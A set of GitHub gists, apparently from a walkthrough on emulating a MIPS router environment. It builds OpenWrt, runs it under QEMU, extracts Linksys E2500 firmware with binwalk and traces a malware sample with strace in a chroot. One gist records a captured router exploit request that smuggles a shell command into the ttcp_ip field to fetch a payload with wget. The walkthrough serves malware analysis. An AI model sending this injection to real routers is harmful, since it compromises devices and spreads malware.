This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo apt-get install git subversion build-essential libncurses5-dev zlib1g-dev | |
| mkdir ~/openwrt ; cd ~/openwrt | |
| git clone git://git.openwrt.org/12.09/openwrt.git |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| cd openwrt | |
| make menuconfig |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| make target/linux/clean world |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| root@debian-mipsel:~# ls -la /proc/1155/ | |
| total 0 | |
| dr-xr-xr-x 8 root root 0 Fev 16 19:32 . | |
| dr-xr-xr-x 69 root root 0 Fev 16 19:16 .. | |
| dr-xr-xr-x 2 root root 0 Fev 16 19:32 attr | |
| -rw-r--r-- 1 root root 0 Fev 16 19:32 autogroup | |
| -r-------- 1 root root 0 Fev 16 19:32 auxv | |
| -r--r--r-- 1 root root 0 Fev 16 19:32 cgroup | |
| --w------- 1 root root 0 Fev 16 19:32 clear_refs | |
| -r--r--r-- 1 root root 0 Fev 16 19:32 cmdline |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;if [ ! -e .L26 ];then wget http://0.0.0.0:521/dVK.pdf;fi`&StartEPI=1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo apt-get install qemu-system qemu-utils | |
| qemu-system-mipsel -M malta -kernel ./bin/malta/openwrt-malta-le-vmlinux.elf -net nic -nographic |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| udhcpc -i br-lan | |
| echo nameserver 8.8.8.8 > /etc/resolv.conf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| wget http://downloads.linksys.com/downloads/firmware/FW_E2500_1.0.07.001_US_20121129.bin | |
| binwalk -Me FW_E2500_1.0.07.001_US_20121129.bin | |
| tar -cpvzf e2500.tar.gz squashfs-root/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| mount --bind /dev /mnt/squashfs-root/dev | |
| mount --bind /proc /mnt/squashfs-root/proc | |
| mount --bind /sys /mnt/squashfs-root/sys | |
| mount --bind /dev/pts /mnt/squashfs-root/dev/pts | |
| cp /etc/resolv.conf /mnt/squashfs-root/tmp/resolv.conf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| apt-get install strace | |
| strace -o /root/strace.txt -e trace=open,read,write,readv,writev,recv,recvfrom,send,sendto,network chroot . ./tmp/EXr.pdf |
OlderNewer